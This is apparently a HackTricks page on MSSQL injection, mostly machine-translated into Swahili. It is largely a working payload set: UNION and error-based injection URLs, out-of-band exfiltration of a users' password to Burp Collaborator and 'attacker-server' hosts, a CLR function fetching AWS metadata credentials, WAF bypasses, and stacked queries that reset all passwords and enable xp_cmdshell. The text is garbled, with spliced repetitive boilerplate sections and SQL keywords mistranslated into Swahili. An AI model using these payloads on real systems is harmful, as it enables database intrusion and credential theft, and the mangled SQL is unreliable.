MSSQL Injection

MSSQL Injection

Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (HackTricks AWS Red Team Expert)!

Njia nyingine za kusaidia HackTricks:

Uchunguzi wa Active Directory

Inawezekana kuchunguza watumiaji wa kikoa kupitia SQL injection ndani ya seva ya MSSQL kwa kutumia kazi za MSSQL zifuatazo:

  • SELECT DEFAULT_DOMAIN(): Pata jina la kikoa cha sasa.

  • master.dbo.fn_varbintohexstr(SUSER_SID('DOMAIN\Administrator')): Ikiwa unajua jina la kikoa (DOMAIN katika mfano huu) kazi hii itarudisha SID ya mtumiaji Msimamizi katika muundo wa hex. Itaonekana kama 0x01050000000[...]0000f401, angalia jinsi baiti 4 za mwisho ni nambari 500 katika muundo wa big endian, ambayo ni ID ya kawaida ya mtumiaji msimamizi. Kazi hii itakuruhusu kujua ID ya kikoa (baiti zote isipokuwa za mwisho 4).

  • SUSER_SNAME(0x01050000000[...]0000e803) : Kazi hii itarudisha jina la mtumiaji wa ID iliyotajwa (ikiwapo ipo), katika kesi hii 0000e803 katika muundo wa big endian == 1000 (kawaida hii ni ID ya mtumiaji wa kawaida wa kwanza aliyeanzishwa). Kisha unaweza kufikiria kwamba unaweza kudukua ID za watumiaji kutoka 1000 hadi 2000 na labda kupata majina ya watumiaji wote wa kikoa. Kwa mfano, kwa kutumia kazi kama ifuatayo:

def get_sid(n):
domain = '0x0105000000000005150000001c00d1bcd181f1492bdfc236'
user = struct.pack('<I', int(n))
user = user.hex()
return f"{domain}{user}" #if n=1000, get SID of the user with ID 1000

Njia mbadala za Kosa la Makosa kwa Kuzingatia Hitilafu

Kawaida, kosa-msingi la SQL linajumuisha ujenzi kama +AND+1=@@version-- na mabadiliko yanayotegemea operator wa «OR». Maswali yanayojumuisha mifano kama hizo kawaida huzuiliwa na WAFs. Kwa kuzidisha, unaweza kuunganisha herufi kwa kutumia herufi%2b na matokeo ya wito wa kazi maalum ambazo husababisha kosa la ubadilishaji wa aina ya data inayotafutwa.

Baadhi ya mifano ya kazi hizo ni:

  • SUSER_NAME()

  • USER_NAME()

  • PERMISSIONS()

  • DB_NAME()

  • FILE_NAME()

  • TYPE_NAME()

  • COL_NAME()

Mfano wa matumizi ya kazi ya USER_NAME():

https://vuln.app/getItem?id=1'%2buser_name(@@version)--

SSRF

Mbinu hizi za SSRF zilichukuliwa kutoka hapa

fn_xe_file_target_read_file

Inahitaji ruhusa ya VIEW SERVER STATE kwenye seva.

https://vuln.app/getItem?id= 1+and+exists(select+*+from+fn_xe_file_target_read_file('C:\*.xel','\\'%2b(select+pass+from+users+where+id=1)%2b'.064edw6l0h153w39ricodvyzuq0ood.burpcollaborator.net\1.xem',null,null))
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';
# Or doing
Use master;
EXEC sp_helprotect 'fn_xe_file_target_read_file';

fn_get_audit_file

Inahitaji ruhusa ya CONTROL SERVER.

https://vuln.app/getItem?id= 1%2b(select+1+where+exists(select+*+from+fn_get_audit_file('\\'%2b(select+pass+from+users+where+id=1)%2b'.x53bct5ize022t26qfblcsxwtnzhn6.burpcollaborator.net\',default,default)))
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL SERVER';
# Or doing
Use master;
EXEC sp_helprotect 'fn_get_audit_file';

fn_trace_gettabe

Inahitaji ruhusa ya CONTROL SERVER.

https://vuln.app/ getItem?id=1+and+exists(select+*+from+fn_trace_gettable('\\'%2b(select+pass+from+users+where+id=1)%2b'.ng71njg8a4bsdjdw15mbni8m4da6yv.burpcollaborator.net\1.trc',default))
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL SERVER';
# Or doing
Use master;
EXEC sp_helprotect 'fn_trace_gettabe';

xp_dirtree, xp_fileexists, xp_subdirs

Taratibu zilizohifadhiwa kama xp_dirtree, ingawa hazijadhibitishwa rasmi na Microsoft, zimeelezewa na wengine mtandaoni kutokana na umuhimu wao katika shughuli za mtandao ndani ya MSSQL. Taratibu hizi mara nyingi hutumiwa katika kuvuja data nje ya mfumo (Out of Band Data exfiltration), kama inavyoonyeshwa katika mifano mbalimbali na machapisho.

Kwa mfano, taratibu iliyohifadhiwa ya xp_dirtree hutumiwa kufanya maombi ya mtandao, lakini ina kiwango cha kikomo cha bandari ya TCP 445 tu. Nambari ya bandari haiwezi kubadilishwa, lakini inaruhusu kusoma kutoka kwa sehemu za mtandao. Matumizi yake yanaonyeshwa katika hati ya SQL ifuatayo:

DECLARE @user varchar(100);
SELECT @user = (SELECT user);
EXEC ('master..xp_dirtree "\\' + @user + '.attacker-server\\aa"');

Ni muhimu kuelewa kuwa njia hii huenda isifanye kazi kwenye mazingira yote ya mfumo, kama vile kwenye Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64) inayofanya kazi kwenye Windows Server 2016 Datacenter na mipangilio ya msingi.

Kwa kuongezea, kuna taratibu zingine zilizohifadhiwa kama master..xp_fileexist na xp_subdirs ambazo zinaweza kufikia matokeo sawa. Maelezo zaidi kuhusu xp_fileexist yanaweza kupatikana kwenye makala ya TechNet hii.

xp_cmdshell

Kwa wazi, unaweza pia kutumia xp_cmdshell kutekeleza kitu kinachosababisha SSRF. Kwa maelezo zaidi, soma sehemu inayofaa kwenye ukurasa huu:

page1433 - Pentesting MSSQL - Microsoft SQL Server

MSSQL User Defined Function - SQLHttp

Kuunda CLR UDF (Common Language Runtime User Defined Function), ambayo ni namna ya kanuni iliyoandikwa kwa lugha yoyote ya .NET na kusanidiwa kama DLL, ili kupakia ndani ya MSSQL kwa ajili ya kutekeleza kazi za desturi, ni mchakato ambao unahitaji ufikiaji wa dbo. Hii inamaanisha kuwa kawaida inawezekana tu wakati uhusiano wa database unafanywa kama sa au na jukumu la Msimamizi.

Mradi wa Visual Studio na maelekezo ya usanidi yanapatikana kwenye hifadhidata ya Github hii ili kurahisisha upakiaji wa faili ya binary ndani ya MSSQL kama mkusanyiko wa CLR, hivyo kuruhusu utekelezaji wa maombi ya HTTP GET ndani ya MSSQL.

Muhimu wa utendaji huu umefungwa kwenye faili ya http.cs, ambayo inatumia darasa la WebClient kutekeleza ombi la GET na kupata maudhui kama inavyoonyeshwa hapa chini:

using System.Data.SqlTypes;
using System.Net;

public partial class UserDefinedFunctions
{
[Microsoft.SqlServer.Server.SqlFunction]
public static SqlString http(SqlString url)
{
var wc = new WebClient();
var html = wc.DownloadString(url.Value);
return new SqlString(html);
}
}

Kabla ya kutekeleza amri ya SQL ya CREATE ASSEMBLY, inashauriwa kukimbia sehemu ifuatayo ya SQL ili kuongeza hash ya SHA512 ya mkusanyiko kwenye orodha ya mkusanyiko ulioaminika wa seva (inayoonekana kupitia select * from sys.trusted_assemblies;):

EXEC sp_add_trusted_assembly 0x35acf108139cdb825538daee61f8b6b07c29d03678a4f6b0a5dae41a2198cf64cefdb1346c38b537480eba426e5f892e8c8c13397d4066d4325bf587d09d0937,N'HttpDb, version=0.0.0.0, culture=neutral, publickeytoken=null, processorarchitecture=msil';

Baada ya kufanikiwa kuongeza mkusanyiko na kuunda kazi, kanuni ya SQL ifuatayo inaweza kutumika kufanya maombi ya HTTP:

DECLARE @url varchar(max);
SET @url = 'http://169.254.169.254/latest/meta-data/iam/security-credentials/s3fullaccess/';
SELECT dbo.http(@url);

Udanganyifu wa Haraka: Kupata Yaliyomo Yote ya Jedwali kwa Kauli Moja

Trick kutoka hapa.

Njia fupi ya kuchukua yaliyomo kamili ya jedwali kwa kauli moja inahusisha kutumia kifungu cha FOR JSON. Njia hii ni rahisi zaidi kuliko kutumia kifungu cha FOR XML, ambacho kinahitaji hali maalum kama "raw". Kifungu cha FOR JSON kinapendelewa kwa sababu ya ufasaha wake.

Hapa ni jinsi ya kupata muundo, jedwali, na nguzo kutoka kwenye database ya sasa:

https://vuln.app/getItem?id=-1'+union+select+null,concat_ws(0x3a,table_schema,table_name,column_name),null+from+information_schema.columns+for+json+auto--
In situations where error-based vectors are used, it's crucial to provide an alias or a name. This is because the output of expressions, if not provided with either, cannot be formatted as JSON. Here's an example of how this is done:

```sql
## MSSQL Injection

### Introduction

MSSQL Injection is a technique used to exploit vulnerabilities in web applications that use Microsoft SQL Server as their database management system. By injecting malicious SQL queries into user input fields, an attacker can manipulate the application's database and potentially gain unauthorized access to sensitive information.

### Exploiting MSSQL Injection

To exploit MSSQL Injection, an attacker needs to identify vulnerable input fields in the target web application. These input fields are typically used to construct SQL queries that interact with the database.

One common method of exploiting MSSQL Injection is by using the UNION operator to combine the results of two or more SELECT statements. This allows the attacker to retrieve data from tables they do not have direct access to.

Another technique involves using the CONCAT_WS function to concatenate the values of multiple columns into a single string. This can be useful for extracting data from the database in a specific format.

### Example

Consider the following vulnerable URL:

https://vuln.app/getItem?id=1'+and+1=(select+concat_ws(0x3a,table_schema,table_name,column_name)a+from+information_schema.columns+for+json+auto)--


In this example, the attacker appends the payload `1'+and+1=(select+concat_ws(0x3a,table_schema,table_name,column_name)a+from+information_schema.columns+for+json+auto)--` to the `id` parameter. This payload exploits the MSSQL Injection vulnerability by retrieving the names of all the tables and columns in the database.

### Mitigation

To protect against MSSQL Injection attacks, it is important to implement proper input validation and sanitization techniques. This includes using parameterized queries or prepared statements to prevent malicious SQL code from being executed.

Additionally, keeping the database server and web application up to date with the latest security patches can help mitigate the risk of MSSQL Injection vulnerabilities. Regular security audits and penetration testing can also help identify and address any potential weaknesses in the application's code.

Retrieving the Current Query

Trick from here.

For users granted the VIEW SERVER STATE permission on the server, it's possible to see all executing sessions on the SQL Server instance. However, without this permission, users can only view their current session. The currently executing SQL query can be retrieved by accessing sys.dm_exec_requests and sys.dm_exec_sql_text:

## MSSQL Injection

### Introduction

MSSQL Injection is a technique used to exploit vulnerabilities in web applications that use Microsoft SQL Server as their database management system. By injecting malicious SQL queries into user input fields, an attacker can manipulate the application's database and potentially gain unauthorized access to sensitive information.

### Exploiting MSSQL Injection

To exploit MSSQL Injection, an attacker needs to identify vulnerable input fields in the target application. These are typically user input fields such as search boxes, login forms, or any other field that interacts with the application's database.

Once a vulnerable input field is identified, the attacker can inject malicious SQL queries to manipulate the database. The goal is to craft a query that will execute unintended actions or retrieve sensitive information from the database.

### Example: Retrieving Text from `sys.dm_exec_requests`

Consider the following example URL:

https://vuln.app/getItem?id=-1%20union%20select%20null,(select+text+from+sys.dm_exec_requests+cross+apply+sys.dm_exec_sql_text(sql_handle)),null,null


In this example, the attacker is attempting to retrieve text from the `sys.dm_exec_requests` table using the `union select` technique. By injecting the SQL query `(select text from sys.dm_exec_requests cross apply sys.dm_exec_sql_text(sql_handle))`, the attacker aims to retrieve the text associated with the SQL handle.

### Mitigating MSSQL Injection

To protect against MSSQL Injection attacks, it is crucial to implement proper input validation and sanitization techniques. This includes validating user input, using parameterized queries or prepared statements, and applying strict input filtering to prevent the execution of malicious SQL queries.

Regular security assessments, such as penetration testing, can also help identify and address any vulnerabilities in the application's code or configuration that could be exploited through MSSQL Injection.

To check if you have the VIEW SERVER STATE permission, the following query can be used:

```sql
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';

Tafsiri:

CHAGUA * KUTOKA fn_my_permissions(NULL, 'SERVER') AMBAPO permission_name='VIEW SERVER STATE';

## **Little tricks for WAF bypasses**

[Tricks also from here](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)

Non-standard whitespace characters: %C2%85 или %C2%A0:

MSSQL Injection

Introduction

MSSQL Injection is a technique used to exploit vulnerabilities in web applications that use Microsoft SQL Server as their database management system. By injecting malicious SQL queries into user input fields, an attacker can manipulate the application's database and potentially gain unauthorized access to sensitive information.

Exploiting MSSQL Injection

To exploit MSSQL Injection, an attacker needs to identify vulnerable input fields in the target web application. These are typically user input fields such as search boxes, login forms, or URL parameters.

Once a vulnerable input field is identified, the attacker can inject SQL queries to manipulate the application's database. The goal is to craft a malicious query that will be executed by the database server, allowing the attacker to extract or modify data.

Example

Consider the following URL:

https://vuln.app/getItem?id=1%C2%85union%C2%85select%C2%A0null,@@version,null--

In this example, the id parameter is vulnerable to MSSQL Injection. The attacker has injected a UNION SELECT statement to retrieve the version of the MSSQL server.

Protection and Prevention

To protect against MSSQL Injection attacks, it is important to implement proper input validation and sanitization techniques. This includes validating user input, using parameterized queries or prepared statements, and applying strict input filtering.

Regular security assessments and penetration testing can also help identify and mitigate potential vulnerabilities in web applications.

Conclusion

MSSQL Injection is a serious security vulnerability that can lead to unauthorized access and data leakage in web applications. By understanding the techniques used by attackers and implementing proper security measures, organizations can protect their applications and data from these types of attacks.


Scientific (0e) and hex (0x) notation for obfuscating UNION:

MSSQL Injection

Introduction

MSSQL Injection is a technique used to exploit vulnerabilities in web applications that use Microsoft SQL Server as their database management system. By injecting malicious SQL queries into user input fields, an attacker can manipulate the application's database and potentially gain unauthorized access to sensitive information.

Union-Based MSSQL Injection

One common method of MSSQL Injection is the Union-Based technique. This technique involves using the UNION operator to combine the results of two or more SELECT statements into a single result set. By carefully crafting the injected SQL query, an attacker can retrieve data from the database that they are not authorized to access.

Exploiting MSSQL Injection

To exploit MSSQL Injection, an attacker needs to identify vulnerable input fields in the target web application. These input fields are typically used to construct SQL queries that retrieve data from the database.

Once a vulnerable input field is identified, the attacker can inject a malicious SQL query to exploit the vulnerability. In the case of Union-Based MSSQL Injection, the attacker can use the UNION operator to combine their own SELECT statement with the original query.

For example, consider the following vulnerable URL:

https://vuln.app/getItem?id=0eunion+select+null,@@version,null--

In this example, the attacker is injecting the SQL query union select null,@@version,null into the id parameter. The @@version function is used to retrieve the version of the MSSQL Server.

Another example:

https://vuln.app/getItem?id=0xunion+select+null,@@version,null--

In this example, the attacker is injecting the SQL query union select null,@@version,null into the id parameter. The 0x prefix is used to indicate that the following value is in hexadecimal format.

By analyzing the response from the server, the attacker can determine if the injection was successful and extract the desired information.

Prevention

To prevent MSSQL Injection attacks, it is important to implement proper input validation and sanitization techniques. This includes validating and filtering user input to ensure that it does not contain any malicious SQL code.

Additionally, using parameterized queries or prepared statements can help protect against SQL injection attacks by separating the SQL code from the user input.

Regularly updating and patching the MSSQL Server can also help mitigate the risk of MSSQL Injection vulnerabilities.


A period instead of a whitespace between FROM and a column name:

https://vuln.app/getItem?id=1+union+select+null,@@version,null+from.users--

MSSQL Injection

Description

MSSQL Injection is a technique used to exploit vulnerabilities in web applications that use Microsoft SQL Server as their database management system. By injecting malicious SQL queries into user input fields, an attacker can manipulate the application's database and potentially gain unauthorized access to sensitive information.

Exploiting the Vulnerability

To exploit the MSSQL Injection vulnerability, an attacker can use the following payload:

1 union select null,@@version,null from users--

In the provided URL, the payload is injected into the id parameter of the getItem endpoint. The union select statement is used to combine the result of the original query with the injected query. In this case, the injected query retrieves the version of the MSSQL server.

Prevention

To prevent MSSQL Injection attacks, it is important to implement proper input validation and sanitization techniques. This includes using parameterized queries or prepared statements, which ensure that user input is treated as data rather than executable code. Additionally, keeping the MSSQL server and web application up to date with the latest security patches can help mitigate the risk of exploitation.


\N separator between SELECT and a throwaway column:

MSSQL Injection

Introduction

MSSQL Injection is a technique used to exploit vulnerabilities in web applications that use Microsoft SQL Server as their database management system. By injecting malicious SQL queries into user input fields, an attacker can manipulate the application's database and potentially gain unauthorized access to sensitive information.

Exploiting MSSQL Injection

To exploit MSSQL Injection, an attacker needs to identify vulnerable input fields in the target web application. These input fields are typically used to construct SQL queries that interact with the database. By injecting specially crafted SQL statements, an attacker can manipulate the behavior of these queries and extract or modify data.

Example

Consider the following URL:

https://vuln.app/getItem?id=0xunion+select\Nnull,@@version,null+from+users--

In this example, the id parameter is vulnerable to MSSQL Injection. The attacker appends a malicious SQL statement after the id value to manipulate the database query.

The injected SQL statement 0xunion+select\Nnull,@@version,null+from+users-- performs a UNION-based SQL Injection attack. It selects the @@version system variable, which reveals the version of the MSSQL Server, from the users table.

Prevention

To prevent MSSQL Injection attacks, it is crucial to implement proper input validation and parameterized queries. Input validation ensures that user-supplied data is sanitized and conforms to expected formats. Parameterized queries separate SQL code from user input, preventing malicious SQL statements from being executed.

Additionally, keeping the MSSQL Server and web application up to date with the latest security patches helps mitigate potential vulnerabilities.

Conclusion

MSSQL Injection is a serious security risk that can lead to unauthorized access and data leakage. By understanding the techniques used by attackers and implementing proper security measures, web applications can be protected against these types of attacks.


### WAF Bypass with unorthodox stacked queries

According to [**this blog post**](https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/) it's possible to stack queries in MSSQL without using ";":

```sql
SELECT 'a' SELECT 'b'

So for example, multiple queries such as:

```sql
tumia [tempdb]
umba meza [jaribio] ([id] int)
weka [jaribio] thamani(1)
chagua [id] kutoka [jaribio]
ondoa meza [jaribio]

Can be reduced to:

```sql
```sql
Tumia[tempdb]unda/**/meza[test]([id]int)weka[test]thamani(1)chagua[id]kutoka[test]ondoa/**/meza[test]

Therefore it could be possible to bypass different WAFs that doesn't consider this form of stacking queries. For example:

Kuongeza exec() isiyo na maana mwishoni na kufanya WAF iamini kuwa hii sio swali halali

admina'union select 1,'admin','testtest123'exec('select 1')--

Hii itakuwa:

SELECT id, username, password FROM users WHERE username = 'admina'union select 1,'admin','testtest123' exec('select 1')--'

Kutumia swali zisizo za kawaida

admin'exec('update[users]set[password]=''a''')--

Hii itakuwa:

SELECT id, username, password FROM users WHERE username = 'admin' exec('update[users]set[password]=''a''')--'

Au kuwezesha xp_cmdshell

admin'exec('sp_configure''show advanced option'',''1''reconfigure')exec('sp_configure''xp_cmdshell'',''1''reconfigure')--

Hii itakuwa

select * from users where username = ' admin' exec('sp_configure''show advanced option'',''1''reconfigure') exec('sp_configure''xp_cmdshell'',''1''reconfigure')--'


## References

* [https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)
* [https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/](https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/)

<details>

<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

Other ways to support HackTricks:

* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

</details>

Last updated